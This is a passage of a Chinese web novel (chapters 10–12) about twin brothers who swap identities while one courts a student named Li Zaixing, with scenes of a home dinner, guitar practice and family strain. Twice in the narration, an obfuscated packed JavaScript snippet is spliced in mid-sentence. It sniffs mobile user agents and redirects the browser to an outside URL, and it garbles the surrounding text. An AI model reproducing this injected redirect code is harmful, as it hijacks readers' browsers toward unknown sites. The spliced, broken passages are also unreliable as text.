季行月笑容一顿,“为什么?” 季舒阳:“我约了李再星在家里见面。” “……?” 季行月花了几秒钟的时间才处理好这句信息量庞大的话。 他睁大眼睛:“在、在家?你第一次跟她约会就在家?在这???” “不是约会,”季舒阳纠正,“是请她来家里吃饭。” ……这不是一个意思吗!有什么区别吗! 季行月简直无从下手吐槽,先不说第一次约女孩子见面就约到家里这举动合不合适,季舒阳要做什么,他也管不住。 问题是,季舒阳是顶着他的身份去做这些事啊! 要是季舒阳做了什么不好的事,那背锅侠不妥妥的是他吗? 季行月绝对不允许这种事情发生,“不行,你们换个地方吃饭,那么多约会场所,非来家里做什么。” 季舒阳皱起眉,“我是要做饭给她吃,去外面怎么做?” 他越是问得一本正经,季行月就越是头疼。 季行月绝望地直拍脑门,他忘了,季舒阳是个人际关系贫瘠到可怜,不通人情世故的人。 他说请李再星来家里吃饭,那就真的只是来家里吃饭。 可孤男寡女,万一呢? 季舒阳脑子一根筋也就算了,小土豆那憨憨怎么也这么毫无防备之心?一个女孩子跑到认识不久的男人家里来做客,缺心眼呢! 季行月正发愁要怎么让季舒阳改主意,忽听季舒阳提醒,“你还有二十分钟。” “……” 季行月一阵心累。 “行行行,我洗个脸就走行了吧。” 季行月不耐烦把季舒阳推到门外,使劲把门一关,立刻变脸。 他走个屁! 10. 第 10 章 李再星站在季行月家门口,迟迟没有摁响门铃。 她是被关柔批评了一通才过来的。 批评的原因,是她安全意识太薄弱,竟然要只身前往刚认识不久的异性家里。 李再星一开始没想这么多,被批评后也觉得不妥,但毕竟是她先主动提议,怎么也说不出反悔的话,最后还是硬着头皮来了。 到了门口,李再星又打起退堂鼓。 正犹豫要不要回去时,玄关门突然被人从里面打开,穿着浅蓝色毛衣的男生站在门内。 开门瞬间,两人同时被吓一跳。 “你、你来了。” “啊……对,我来了。” 生硬的招呼,僵硬的回应,同样的不自然。 季舒阳忙侧身让道,“快请进。” 李再星也把退堂鼓抛到脑后,赶鸭子上架似地进屋。 入户处已经摆了双浅黄色的女士棉拖,尺寸颇大,上面还有可爱的猫咪图案。 已经拆了吊牌,但明显能看出是崭新的。 李再星以为这鞋是早就买好,给来他家做客的女性提前准备的,换上之后,却听见身后男生有些懊恼地小声嘀咕:“买太大了吗?” 这棉拖确实不是她的尺码,穿进去后,脚后跟后面空出一大截,显然,买鞋的人对女生鞋码的掌握并不清楚。 李再星也没想到这是他专门给她买来的。 她瞄了眼他脚上那双黑色棉拖,与她这双相比,更像一只帆船。 不知怎的,她莫名能想象出他给自己买拖鞋时,皱着眉头为尺寸苦恼纠结的场景。 有些好笑,又有点可爱。 “不是你买大了,”李再星想让他的懊恼少一些,笑着说,“是我穿的鞋码原本就偏小。” 季舒阳显然没料到她听见自己的自言自语,脸上闪过一丝不自然,又很快恢复常态,问:“你穿多大码?” 李再星没想到他会问这个,一时没反应过来,又听他补充:“我下次重新买。” 下次。 这话的意思是……她还会有再来他家的下一次? 李再星嘴角想往上翘,又赶紧清嗓子掩饰情绪,“我穿35码。” “对了,这是我在路上买的蛋糕,”李再星把做客礼物递过去,在他接过后,又从外套口袋里掏出烟盒和打火机,“我刚把你的外套送去干洗店,这是你外套兜里的东西。” 像是做了什么坏事被发现,季舒阳表情微妙地变了变,伸手,有些笨拙地从她手里接过这两样东西,习惯性想放进口袋,低头才发现今天穿的这身衣服没有任何可藏之处。 他攥着烟和打火机,偷偷去观察她的神色,却恰好与对方四目相对。 李再星微微歪了歪头,眼里有疑惑,“嗯?” “我其实不常……” 季舒阳欲言又止,又话锋一转,“我煮了姜汁可乐,去给你盛。” 他丢下这句就往厨房走,走了两步,又蓦地停下,僵硬转身,像是刚运行程序还不太熟练的机器人,“你随便坐,别客气。” 李再星使劲抿住嘴唇,要忍住,不能笑。 这时候笑出来,机器人会死机也说不定。 她原本还担心今天的季行月会穿得很潮男,被动触发她的潮男恐惧症,再不自在地相处,没想到季行月这会儿好像比她更紧张,心里微妙地有些平衡,还有些小小的幸灾乐祸。 而且,李再星注意到,季行月并没有把玄关的门关紧,特意用东西抵着,留了条不宽不窄的门缝。这让她多了不少安全感。 在沙发落座后,李再星悄悄地打量着这个房子。 虽然是租来住的房间,但屋里保持得很整洁,沙发茶几电视柜上都没放多余杂物,就连餐边柜里餐碗茶杯的摆放都整整齐齐,像是有强迫症。 客厅另一边,应该是卧室,房门紧闭。 余光瞥见季舒阳从厨房出来,她收回视线。 季舒阳将热气腾腾的姜汁可乐送到她手上,又走去电视前把电视打开,拿起茶几上的平板,操作了几下后送到她面前,“家里平时不看电视,都是投影,你想看什么随便搜,我去切蛋糕。” 说完,就提着蛋糕又去了厨房。 端着切好的蛋糕送过来后,他又马上说:“冰箱还有草莓,我去洗草莓。” 又马上去厨房洗草莓。 把草莓端过来后,他在沙发前站了两秒,又说:“你吃冰淇淋吗?冰箱里……” 李再星实在是看不下去,举手打断他,“你是想把你家的冰箱都搬空吗?” 季舒阳一噎,“你想吃的话,都可以。” 他竟然还当真了。 李再星没忍住笑了出来,感觉自己不是到了暧昧对象家,而是来到了奶奶家,横看竖看她是真饿,左拿右拿全喂给她。 “我不是来你家吃饭的吗,吃这么多零食,待会儿可就没肚子再吃你做的饭了。” 季舒阳忽然想起她在电话里说过胃不舒服,“你要吃胃药吗?” 李再星:“……” “你先坐下来歇会儿吧。” 李再星感觉自己反而像是成了主人,尤其是看到季舒阳坐在离她很远的沙发另一边,看着比她这个客人还拘谨。 她端起茶几上的柠檬红茶巴斯克,双手送到他面前,“我看你平时喜欢喝柠檬茶,所以专门选了这个,你试试味道怎么样?” 季舒阳心脏一抽,垂下眼。 喜欢喝柠檬茶的并非是他。 他接过蛋糕,拿起叉子尝了一口。 看着他品尝完,李再星满怀期待地问:“味道怎么样?喜欢吗?” 计算好嘴角该模仿的弧度,季舒阳抬头,朝她露出笑容,“很好吃,我很喜欢。” 李再星松了口气,半开玩笑道:“幸亏你喜欢,不然光来你家蹭饭,我都不好意思了。” “不用不好意思,我很高兴你能来。”季舒阳放下蛋糕,“我去厨房看看汤。” 李再星见他又要往厨房里钻,连忙跟着起身,“要不我也去帮——” 话还没说完,她不小心踢到茶几脚,吃痛倒吸一口冷气,“痛痛痛痛——” “伤到了吗?我看看。” 季舒阳第一时间扶她坐回沙发,半跪在她身前,脱下她的棉拖。 他的手指触碰到她袜子,想要给她脱下时,李再星下意识把脚一缩,“我、我自己来……” 意识到自己的冒犯,季舒阳起身退后半步,“抱歉。” 李再星很想说,其实不是在介意他的触碰,而是介意自己的袜子。 都说臭袜子臭袜子,虽然她的袜子是今天刚换的,但那毕竟是脚上穿的!万一是臭的呢! 李再星光是想想就觉脚趾抠地。 明明是为昨天耍酒疯的社死来挽回形象的,结果怎么遇到了更社死的事。 在季舒阳的注视下,她小心翼翼脱下袜子,这一脚踢得不轻,大脚趾都出了血。 “家里有消毒药,我去拿。” 季舒阳拿来医药箱,拿出消毒药和纱布,这次没有直接碰她,而是放到她手边。 李再星打从心底谢谢他的体贴,让她的尴尬少了点。 但是很快,她的疼痛远超尴尬。 李再星拿着棉签的手微微颤抖,碰一下疼一下,碰两下疼得抽抽,第三下怎么也落不下去。 就这么挣扎了好几分钟,忽听季舒阳出声:“需要我帮你吗?” 再这么下去天黑都处理不好,李再星只好硬着头皮点头。 季舒阳在她旁边坐下,“抱歉,冒犯了。” 他伸出手,轻轻托着她的脚,放到他大腿上。 等同于后半的脚掌踩在他的大腿上,隔着棉质休闲裤都能感受到他腿部肌肉的紧实,李再星撇过脸不好意思看他,撑在沙发上的手不由得攥紧。 大概是刚才在厨房过了很多遍冷水,他的手指很凉,不知是考虑到这点,还是怕她觉得尴尬,他尽量避免触碰到她。 感受到他小心翼翼的动作,李再星又没忍住,悄悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484290|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转回头,视线落回他轮廓分明的侧脸。 他头垂得很低,黑色碎发刘海搭在额前,遮住了大半眉眼,但紧抿的唇透露出他此刻的全神贯注。 长得真好看。 不光五官好看,连皮肤都很好。 竟然一点瑕疵都没有吗? 李再星丝毫未觉自己看得太入迷,不由自主前倾身体,朝面前的男生缓缓靠近。 也就在这时,季舒阳突然转过脸,“包扎——”好了…… 剩下一半的话,在正面迎上她视线的瞬间戛然而止。 呼吸也戛然而止。 咫尺距离,近到可以看清她脸上的微小绒毛。 一瞬间的工夫,心跳声便震耳欲聋。 交汇的目光如同贴在水面的浮萍,空气里流动着名为暧昧的情愫。 却在这时,卧室突然传来一阵撕心裂肺的咳嗽。 如同晴天里乍起的惊雷,客厅里的两人都被吓了一跳,一个马上低着头往旁边挪,一个赶紧撇过脸往后仰。 “这个这个……那个那个……” 李再星大脑飞速运转,想解释自己刚刚的行为,转了半天,突然察觉不对。 “诶?” 她扭头看向脸色似乎不太好的季舒阳,“你家还有其他人在?” “对,我d……哥也在。” 季舒阳生硬地转折,改变差点说错的称呼。 李再星看他朋友圈的时候就知道他有个哥哥,但没想到是跟他住在一起,而且还在家。 出于做客的礼节和对他家人的好奇,李再星问:“我要不要跟他打声招呼?” “不用。”季舒阳脱口而出。 像是提到什么禁忌,他抗拒的反应让李再星愣了下。 似乎也意识到自己反应过度,季舒阳不太自然地补充:“他不太好相处。” 原来是为她着想,李再星笑了笑,也没再坚持。 季舒阳收起医药箱,起身,“我去看看他。” 房间里,竖起耳朵的季行月听到脚步声,飞快回到床上坐好,双臂抱在胸前,挺直腰杆,清了清嗓子,给自己鼓足气势。 房门被打开,季舒阳冷着脸走进来,反锁房门,居高临下睨着这个本不该在这的人,“你怎么还在这?” “当然是怕你们俩干坏事!” 季行月按照自己预先在脑子里演练过的,恶狠狠斥责他。 同时又怕被外面的李再星听见,而不得不压低声音,于是这恶狠狠的气势又多了几分鬼鬼祟祟,“孤男寡女共处一室,你知道意味着什么吗?” 季舒阳面无表情:“是你的思想太龌龊。” 季行月冷笑了声:“我的思想龌龊,那你们刚才在干嘛?” 季舒阳皱起眉:“我只是在给她处理伤口。” “处理伤口要贴这么近吗!” 季行月一激动就不小心说大声了些,又赶紧压低声音,“你们都快亲上了!” 见季舒阳没反驳,他紧接着又说:“我借你身份,只是给你机会待在她身边,可没让你跟她做这些事,我还是个良家处男呢!” 沉默了很久,季舒阳低声开口:“我知道,我和她只当朋友,不会越界。” 季行月吊儿郎当地抖着腿,抱着手臂冷哼:“你知道就好。” 过了几秒,又不自然地咳了咳:“那什么,你把衣服脱了。” 季舒阳皱眉看着他。 季行月急急燥燥站起身,“我要去放水!” “……” 两厢沉默,尿急的人和无语的人大眼瞪小眼。 两秒后,季舒阳转身就走,“憋着。” 季行月眼疾手快拉住他,另只手按住他打开了一条门缝的门,压低嗓音恶狠狠威胁:“你不让我放水,我也不让你出去!” 两人拦在门口谁也不让谁,僵持之时,门外忽然传来两下敲门声。 紧接着,女生清脆的嗓音隔门传入,语带担忧:“季行月,发生什么事了吗?需要我帮忙吗?” 11. 第 11 章 屋内两人皆是一惊,而后同时看向对方。 目光交汇,双胞胎的默契在此时尽显,几乎同时看清对方的意图。 季行月张嘴就要出声的一瞬,被季舒阳死死捂住嘴。 季舒阳无视季行月憋红的脸和暴起的青筋,尽量让自己的声音平稳,听不出任何异样:“没什么事,我马上出来。” 李再星原本在客厅听到房间门咔哒打开又猛地合上的声响,动静还不小,像是房间里的人起了什么冲突。 出于担心,她才拖着踢坏的腿,一瘸一拐走过来询问,听到他的回答,也没听见卧室里有争吵声,这才放了心。 卧室的门很快被人从里面打开,穿着蓝色毛衣的男生走出来,脸和脖子都有些红,头发也有些乱。 对上她视线,他举起手笑着打招呼:“嗨。” 李再星有点懵,今天又不是才碰面,怎么突然跟她打起招呼了? 季行月也意识到自己做了什么不妥举动,稍显懊恼地抓了两下头发,干咳了声:“那什么,你继续看电视,我还有点事。” 丢下这一句,他直奔洗手间,留下一脸莫名的李再星。 解决完生理问题,季行月从洗手间出来,但没马上回房,而是绕到厨房,第一时间打开冰箱,火速塞一片吐司到嘴里。 他醒过来到现在什么都没吃,快饿死了! 厨房灶上正炖着骨头汤,香味满溢,勾得他肚子里的馋虫咕噜咕噜叫。 季行月眼珠子骨碌一转,连吃带拿,盛了满满一碗,端着走出厨房,装模作样地对已经坐回沙发上的李再星道:“我哥也想喝汤,让我给他送过去。” 李再星哦了声,没有怀疑。 只是有些奇怪,他哥哥怎么不出来吃,难不成是在介意她? 然而,季行月端着汤走进卧室后没多久,李再星看到他又把那碗汤原模原样端出来了。 她困惑问:“你哥哥不是要喝汤吗,怎么又端出来了?” 重新换上蓝色毛衣,从房间里出来的季舒阳不太自然地说:“他突然又不想喝了。” 当然不是季行月不想喝,是绝不能让他喝。 这碗汤要是真让他喝下去,这麻烦鬼准又要跑出来放水。 李再星再一次哦了声,这次不再觉得奇怪,而是莫名其妙。 难怪季行月说他哥哥不好相处,使唤他送汤进去又马上改主意让他再端出来,这人……分明是故意没事找事,性格真差劲。 吃完饭,李再星没有多留。 季舒阳要送她回去。李再星知道自己脚还伤着,也就没拒绝,也因为伤到的脚不方便穿鞋,还把他家的拖鞋给穿回来了。 尽管季舒阳说没关系,原本就是给她买的,还把另一只也放到袋子里给她拎到了宿舍楼下,李再星还是有些不好意思,今天不光没刷到好感,还给他添了不少麻烦。 “今天真是麻烦你了,”李再星挠了挠脸,“下次我请你吃饭吧。” “嗯,下次再一起吃饭。” 季舒阳下意识地答应她,停了几秒,像是慢了半拍才反应过来,连忙否认她的前半句,“没有麻烦,我今天……很开心,真的。” 他还特意强调了一句真伪。 李再星被他的反应逗笑,弯起眼睛:“我今天也很开心,也是真的哦!” 她也故意强调,暗戳戳地调戏他。 她的俏皮话奏了效,季舒阳耳根隐隐发热。 “对了,你知道我们学校下个月的音乐艺术节吗?” 李再星趁热打铁,也向他发出一个邀请,“你有没有兴趣跟我一起参加?” 十二月的音乐艺术节,是青安大学的传统,类似于十佳歌手比赛,但更具表演性质也更具观赏性,不论校区年级和专业,学生们自行报名,经过一轮筛选拿到表演名额,就能正式参加。 表演节目什么的都是次要,李再星醉翁之意不在酒,只为有个正当理由多制造跟他相处的机会。 季舒阳一怔,“我?” “对呀,”李再星做了个弹吉他的手势,“我在你朋友圈看到了,你弹吉他弹得超棒!” 季舒阳脸色微微一变。 见他神色不对,李再星以为他不愿意,连忙开口:“如果你不愿意也没关系的,我只是随便一提,不用放在心上。” 糟糕,她该不会说错话了吧? “我……没有不愿意。”季舒阳忽然开口。 虽然会弹吉他的人不是他,但没关系,他可以去学。 因为是她想做的事,她想跟他一起做的事,无论如何,他都会去做。 季舒阳暗暗攥紧手指,朝她弯起嘴角,“我们一起参加吧。” …… “参加个屁啊!” 得知这件事的季行月,只觉火烧眉毛头疼不已。 他就说季舒阳这周六怎么突然问他借走吉他,这两天一个劲在房间弹来弹去。 不问不知道,一问吓一跳,连聚餐这种活动都不见得去一次的家伙,竟然答应了李再星,跟她一起参加学校的音乐艺术节。 也幸亏他问了! 季行月焦虑地在房间里走在走去,“你根本都没学过吉他,怎么跟她表演?” “所以我在学。”季舒阳一本正经。 他越是一本正经,季行月就越觉得荒唐,“从爬格子开始学吗?拜托你现实点,下个月就是艺术节了,这么短的时间,你要是没学会,丢脸的人可是我!” 季舒阳抿了抿唇,“既然我开始学了,就不会让你丢脸。” 季行月被他笃定的话一噎,就像以往的每一次,季舒阳对他所做的每一件事都充满把握。 是啊,眼前这人可是季舒阳,他从小到大的榜样哥哥,怎么可能会有他做不好的事。 季行月忽然觉得自己很可笑,他哪有资格去质疑季舒阳的能力? 可是,这次的问题,不在于季舒阳能不能做好。 “我知道你聪明,你厉害,你做什么事都有十成十的把握,问题是时间不够啊!表演前要一起练习磨合,你连吉他都没学过,怎么去和李再星练习?跟她说你突然失忆变成了吉他新手,在她面前爬格子吗?” 季行月的质问最后停留在最关键的那点,“你想过这会让我们俩身份露馅吗?” 季舒阳的睫毛颤了一下。 他确实疏忽了这点。 无论是尝试新事物还是上台表演,每一个困难,他都能够逼自己去克服。 唯独这一点,他不敢冒险。 见他陡然低迷,季行月叹了口气,眼睛一闭,自暴自弃,“我去!” 季舒阳倏然抬眼,“什么?” “我说我帮你去,帮你去和李再星练习,去上台表演,去给你收拾这烂摊子,这样才不会让我们俩露馅。” 季行月越说越没有灵魂。 明明他是来捣乱的,现在却莫名变成了来帮忙的。 虽说反正是用他的身份参加这艺术节,也是以他的名义出风头,但为了这点风头揽下这么多活,麻烦也是真嫌麻烦。 季行月烦躁地回到自己房间,还没等他的情绪缓上一会儿,手机叮咚响了声。 他拿出来看了眼,是秋丽发来的微信,提醒他,这周末是爷爷的八十岁大寿,让他记得和季舒阳一起回家,为老人家贺寿。 这种唯恐他不记得的提醒,想必只发给了他一个。毕竟优秀懂事的季舒阳,一向被爷爷喜爱,必不可能忘记这事。 这就是在本地上大学的弊端,随时都要被召唤回家。 季行月重重啧了声。 烦死了! …… “哇,好厉害!” 李再星啪啪啪使劲鼓掌,眼神不掩崇拜地望着刚演奏完的季行月。 今天是周末,她和季行月在学校找不到适合练歌的地方,就一起来KTV开了个包厢。歌是她几天前选的,就这么几天的工夫,季行月就已经弹得很熟练。 没有人不喜欢被夸赞,尤其是季行月。 之前觉得麻烦的烦躁完全被抛到九霄云外,他眼里的得意都快满溢出来。 不过为了保持形象,他脸上还是挂着适度的笑容,故作谦逊道:“其实还是不太熟练,弹得一般般啦。” “这都还只是一般般,那我们上台表演的话,岂不是拿定头奖了?” 李再星笑哈哈地夸他,“你就别谦虚啦,真的弹得很好,唱得也很有感染力!超赞!” 季行月更飘飘然,得装模作样地清清嗓子才能压住说话时的得意,“谢谢夸奖。” 在这飘飘然的心情下,他和李再星练习了大半个下午,直到他的手机突然震动,弹出电话。 季行月看了眼来电人,接下电话:“妈?” “小月,你怎么不跟舒阳一起回家啊?不是说了今天……” 秋丽还没说完,电话就被人抢走,紧接着传来季良鹏的训斥:“季行月,你怎么回事?你爷爷的八十大寿你都不回来,想造反了啊?” 中年男人的声音格外有穿透力,不光刺得季行月耳膜生疼,也让一旁的李再星都听见了他的暴躁大嗓门。 季行月跟她笑笑,示意她先休息,拿着手机起身,往包厢外走。 走出包厢,他脸上笑容在关上门后彻底淡下,“我不是跟哥说了吗,我学校有事,今天回不去。” 季良鹏暴躁道:“学校周末能有个什么事,你是不是又在跟你那帮穿成丐帮的狐朋狗友鬼混?” “是是是,我现在确实在KTV里跟人鬼混,我的朋友都是狐朋狗友,跟狐朋狗友混在一起的我也不是个好人。” 季行月没有多辩解,靠在墙边,吊儿郎当地说:“所以我就更不能回去惹您生气了,再说,爷爷他老人家有我哥就足够了。” 季良鹏被他气得都快说不出话,“臭小子,你——” “臭小子手机没电快关机了,爸你少生点气~” 季行月啪地挂断电话。 嬉皮笑脸的面具随之揭下,他靠在墙上,疲惫闭上眼。 和处处优秀,被大人们称作榜样的哥哥不一样,小时候调皮又暴力的他,是最不讨长辈喜欢的类型。 尽管后来学会伪装,表面一套、私下一套的性格,成功地让自己变成许多人喜爱的好孩子,但对严厉的爷爷来说,他的一切似乎已经在儿时定型。 又或许,是他做什么都不如季舒阳优秀,所以做什么都不讨喜。 第一次意识到爷爷不喜欢自己,是在八岁。 因为眼馋爷爷平日对季舒阳的夸奖,并不喜欢学习也没那么聪明的他,牟足劲去学,头一次在考试中拿到九十分以上的成绩,他欣喜至极。 但两位数的分数显然没有季舒阳的满分那么令人惊喜,爷爷的目光依旧始终停留在季舒阳身上。 第二次是13岁,认识到自己的平庸,也接受了和季舒阳之间的差距,于是开始拓宽自己的兴趣,学习之外,运动、音乐、美术,每一样都去尝试、接触,发掘自己的可能性,他战战兢兢。 却收到一个不务正业的评价。 看似样样通其实样样松,净学些没用的东西。说这话时,爷爷的目光终于落在了他身上,冷淡的,不赞许的,轻视的,令人刺痛的。 一碗水难端平,这很正常,所以季行月从没埋怨过什么。 不埋怨,不代表不在意。 他在意到恐惧,害怕得要死。 越是害怕,就越把自己不讨喜的地方层层遮掩。 就像是只丑陋的毛毛虫,把自己裹成一个厚厚的茧,让所有人以为,这里有只将会破茧而出的美丽的蝴蝶。他们都以为他是蝴蝶。 只有他自己知道,他永远也不会打破那层茧。 他和季舒阳不一样。 他只是平庸的毛毛虫。 季行月攥着手机在墙边靠了一会儿,还是给季舒阳发了条消息确认:给爷爷的生日礼物,你带回去了吧? 对方惜字如金回了个1。 季行月又问:没说是我挑的吧? 季舒阳又扣了个1。 季行月松了口气。 这礼物是两人一起出钱买的,挑礼物的人是他,因为季舒阳那个在人情世故上贫瘠的脑子在这方面根本派不上用场。 不过,无论季舒阳挑了什么鸡肋东西,爷爷都会满意。他挑的则相反。 特意叮嘱季舒阳别说是他挑的,也是想让老人家在大喜的日子别因为他膈应。 季舒阳的消息又发过来:李再星还跟你在一起?你们练习得怎么样?你没做坏事吧? 一口气三连问,这次倒不再惜字如金。 季行月嗤了声,我对她又没那心思,干个屁坏事。 他以牙还牙,使劲点击:111 …… 李再星坐在包厢里等待,有些不安。 季行月刚才接的那通电话似乎是他爸妈带来的,她很清楚地听见中年男人在电话那边吼的内容。 原来今天他爷爷的八十大寿。 这么重要的日子,为什么季行月不回家,跟她在这里练歌呢? 是跟他家人关系不好吗? 李再星忍不住发散思维,又赶紧收回思绪,这是别人的家事,她不能胡乱揣测。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484291|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刚才那通电话,她什么没听见。 把自己这么催眠后,李再星又想起季行月方才弹吉他时的帅气模样,也对吉他有了兴趣。 她拿起被放在旁边的木吉他,手指拨弄了几下,青铜材质的琴弦发出清脆明亮的声音。 李再星新奇地笑了,还真有些好玩。 她又继续没调子地弹起来,想象着自己是个文艺女青年,但很快,指腹就被硬硬的琴弦硌得疼起来。 原来弹吉他这么疼的。 李再星才起的兴趣顿时消失。 包厢门被人从外面打开,季行月走过来时,李再星刚把吉他放下。 他挑了下眉,笑着问:“你也想学弹吉他。” 李再星连连摇头:“不学不学,手指受不了。” 季行月抱起吉他,故意诱惑她,轻松弹出几个和弦给她做示范,“只会疼一阵,长出茧就好了。” “只会?就?”李再星抓住他的字眼吐槽,“把这种话说得这么轻松,可是很欠揍的!” 他这话说得跟吉他课推销员一样,要不是她刚才亲手试过,她就真信了他去报班了。 “不过……”李再星顿了顿,“把这种话说得这么轻松,说明你真的很厉害,真佩服你。” 只要是夸奖,季行月总会照单全收,也惯例地自谦:“我也没那么厉害。” 李再星却皱起眉,他似乎每次都并不真正接受她的夸奖,总是很谦虚,虽然脸上在笑但不见得真正有多喜悦。 这样的反应,让她想起了韩栀子。 因为从小被家里人打压式教育,考得好是理所应当,考得不好就是藤条伺候,韩栀子从来不会坦然接受来自别人的表扬,也亲口对她说过,并非只是单纯谦虚,而是发自内心地觉得自己还不配。 一如那时,李再星无法坐视不管。 “被别人夸的时候,说声谢谢就好了。” 李再星表情严肃:“不要妄自菲薄,你值得被夸奖。” 季行月一怔。 想说些什么敷衍过去,却什么也说不出。 表情肌似乎已经僵住,他忽然意识不到自己是不是还在挂着笑,眼前也没镜子,看不见自己的表情,没来由的心慌。 “哈……”他发出类似笑的哈声以确保自己被她认为他在笑,同时低头挡住脸,“谢谢。” 他的反应似乎很不安,这也让李再星感觉不安。 她忘了,眼前的人不是和她相识十几年的韩栀子,而是才认识不到一个月、互相并不怎么了解的季行月。 她果然越界了。 一阵尴尬,李再星挠了挠脸,“时候也不早了,要不我们今天先练到这?” 季行月嗯了声,抬起头时,脸上已然又是一副毫无瑕疵的笑容,“我送你回宿舍。” 天还没黑,回去路上很安全,李再星原本不想麻烦他,出声婉拒前又忽然改了主意。 晴朗的黄昏,空气却寂静,他们并肩走在回校的路上。 在这片无言中纠结良久,李再星终于还是开口:“你是我见过的人里,弹吉他弹得最好唱歌也最好听的。” 季行月没说谢谢,也没再说妄自菲薄的谦辞,只是轻描淡写地笑了声:“忽然吹我的彩虹屁做什么?” 开玩笑的语气,没当真的态度。 “不是彩虹屁,是事实!” 李再星跳到他面前挡住他往前的路,抬头迫切地看着他,恨不能把自己脸上的诚意变成文字呈给他看。 大眼瞪小眼,季行月先一步撇开脸,继续敷衍:“好好好,我知道是事实了。” 李再星执着地问:“你不相信吗?” “我——” 季行月想一如既往去敷衍她,却不知怎么突然感到疲倦,侵入四肢百骸的无力感。 像是拿她没辙,他仰头望着天空长叹了一口气。 黄昏时的天空是暖洋洋的橘色,带了点桃红,拉扯的云彩像正在消散的火焰,倒映在他眼中,有什么东西似乎也跟着在消散。 季行月低回头,重新看着她时,表情变得木然冷淡:“没错,我不相信。” “你知道我有个哥哥吧,他才是真正厉害的人,不管是学习还是其他什么事,只要他去做,每件事都做到完美。跟他的名字一样,他就像是太阳,太阳系的中心,所有人的目光都在他身上,都围着他转。” “而我只是月亮,顶多算是借了他的光,只是他的影子。所以,我是真的不厉害,我……” “季行月,”李再星忽然一脸严肃地打断他,“你要看手相吗?” “……啊?” 季行月正伤感着呢,被她没头没尾的一句打断,满心的伤感变成问号,“现在?” 李再星朝他伸出手:“对,就现在。” 季行月搞不清状况地把左手伸过去,立刻被她抓住。 她的手很凉,像是没长骨头,手指头软得跟豆腐似的。 就这么一双凉冰冰又软趴趴的手,抓住他的手指,在他的指腹上捏来捏去。不像看手相,更像占便宜。 但李再星的表情并不像开玩笑,根根分明的眼睫毛垂着,白皙脸颊透着认真。 “看完了。” 她抬起头来,指着他指腹的薄茧,郑重其事,“你果然是个很厉害的人,这就是证据。” 季行月不明白,“弹吉他的人都会长茧,这和我厉不厉害没什么关系。” 李再星朝他竖起手掌展示自己的手指,“我就没有啊,你对我来说就是厉害。” 季行月愣住。 “而且不仅仅是弹吉他厉害,你打篮球也很厉害,夹娃娃也很厉害,上次在电影院,只有你注意到了那个小妹妹也需要一只和姐姐一样的娃娃,这一点也很厉害。” 李再星一条条地陈列他的厉害之处,暖融融的夕阳落在她的脸庞,宁静而平和,而那双清澈的杏眼,却又无比坚定。 火焰一般的云彩,映在她眼睛里。 “地理老师说,月亮是地球唯一的自然卫星,如果没有月亮,就不会有潮汐和四季更替。所以,太阳固然是太阳系中心,但月亮也是大家缺一不可的哦。” 她朝他傻笑。 杏仁眼弯成月牙,再一次露出那颗尖尖的虎牙。 季行月看着她。 层层包裹住心脏的厚茧,似乎裂开一道缝隙,夕阳照进来,耀眼,炙热,像火焰在燃烧。 冬日黄昏的街头,风吹着银杏叶落了一地,层层叠叠一片金黄。 站在金色落叶中央,季行月缓缓抬起右手,覆在心口轻挠。 奇怪,这里突然有点痒? 12. 第 12 章 暮色悄然而至,晚风轻拂树影,银杏叶如同金色的蝴蝶,飞旋着落在他们脚边。 迄今为止的记忆里,季行月并没有收到过什么今天这种发自内心的称赞。比他早几分钟出生的哥哥越是优秀,逊色一筹的他也越被认定为平庸。 “季舒阳的弟弟”,这是自记事起就贴在他身上的,撕不下来的标签。 就像两个人站在舞台上,即便长着同一张脸,人们的目光理所当然地去追随光环更强的那一个,不那么耀眼的他,一直都是可有可无的影子。 讨厌被这么对待。 可同时,他自己也认为这理所当然。 “缺一不可吗?”季行月扯了扯唇角,“就算缺一不可,但大家还是更喜欢太阳吧。” “为什么会这么想呢?”李再星歪了歪头,毛茸茸的眉毛不认同地向内聚拢,“地球上几十亿人口呢,有更喜欢太阳的人,就也会有更喜欢月亮的人啊。” 她指了指自己,“还有像我这种选择困难症,分不出高低,太阳月亮都一样喜欢的呢。” 季行月沉默地看着她,半晌,忽然偏过头笑出声。 和平时装模作样的笑不太一样,乍看带着刺,并不那么客气,像是对她的言论无语,又像是被她说服,多了几分释然。 李再星看着这样的他,还没来得及说什么,远处忽然传来卖烤红薯烤板栗的喇叭吆喝声,她被骤然响起的动静引得下意识看过去。 “想吃吗?”季行月问。 又并非只是询问。 没等李再星回答什么,他的手就落在了她羽绒服的帽子上,推着她往那边走,“走吧,买给你吃。” 回校的路上,两人依旧并着肩走,不过手里各自都多了一只热乎乎的烤红薯,空气也不再安静。 “刚刚就想说,你的手也太凉了,是不是穿得太少?” “我穿得够多了,是一到冬天就这样,手脚冰凉是因为我内心太火热。” “第一次听这种歪理。” “这可是我妈说的!” 落叶铺满长街,一高一矮的影子在身后被斜阳拉长,时而侧首谈笑,时而玩闹推搡,烤红薯的香味同说笑声飘了一路。 送李再星回宿舍后,季行月也回了家,换上拖鞋后,要进屋时忽地一顿,转身把脱下的鞋好好地放进鞋柜。 回到房间,独自坐了很久,他起身走到衣柜前,搬出箱子,把设计过分夸张的衣服从衣柜里都挑出来,折叠整齐收进箱子里。 全部都收拾好,衣柜空了大半,天也完全黑了。 季行月长长舒了口气,坐在床边休息。 望着窗外,他莫名地,心情很好地笑了。 月亮出来了。 …… 